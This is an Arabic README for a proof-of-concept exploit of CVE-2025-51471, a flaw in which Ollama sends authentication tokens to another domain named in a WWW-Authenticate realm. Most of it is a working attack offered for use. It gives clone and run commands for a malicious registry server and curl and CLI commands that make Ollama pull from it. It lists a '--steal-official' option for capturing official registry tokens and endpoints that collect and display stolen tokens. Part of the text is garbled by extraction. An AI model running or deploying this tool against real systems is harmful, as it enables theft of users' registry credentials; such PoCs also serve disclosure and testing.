
إثبات المفهوم (PoC) هذا مخصص للأغراض التعليمية واختبارات الأمان المصرح بها فقط. لا تستخدمه ضد أنظمة لا تملكها.
المؤلف: ajtazer
يحتوي هذا المستودع على إثبات مفهوم (PoC) لثغرة CVE-2025-51471، وهي ثغرة كشف توكن المصادقة عبر النطاقات (Cross-Domain Authentication Token Exposure) تؤثر على جميع إصدارات Ollama (بما في ذلك الأحدث).
عندما يقوم Ollama بسحب نموذج من خادم HTTPS يستجيب بـ 401 Unauthorized، فإنه يتبع رابط realm في ترويسة WWW-Authenticate دون التحقق من أنه ينتمي إلى نفس النطاق[...]
وهذا يسمح للمهاجم بـ:
401 مع ترويسة WWW-Authenticate تشير إلى نقطة نهاية يتحكم بها المهاجمregistry.ollama.aipip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model
لقد عرضت إثبات المفهوم هذا في فيديو قصير — شاهده هنا:
ملاحظة (وضع HTTPS على macOS): إذا كنت تستخدم وضع HTTPS، أضف الشهادة المُنشأة إلى سلسلة المفاتيح (keychain) أو استخدم وضع HTTP مع
--no-ssl.
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Options:
--port, -p PORT Port to listen on (default: 8080)
--no-ssl Use HTTP instead of HTTPS
--steal-official, -s Redirect to steal registry.ollama.ai tokens
--no-verbose Disable verbose output
| نقطة النهاية | الوصف |
|---|---|
/v2/* | نقطة نهاية سجل وهمية (تُطلق الاستغلال) |
/v2/token | نقطة نهاية التقاط التوكن |
/tokens | عرض جميع التوكنات الملتقطة (JSON) |
/health | فحص صحة الخادم |
إثبات المفهوم هذا مخصص لأغراض تعليمية واختبار أمني مصرح به فقط. لا تستخدمه ضد أنظمة لا تملكها.
صُنع بـ ❤️ باستخدام Antigravity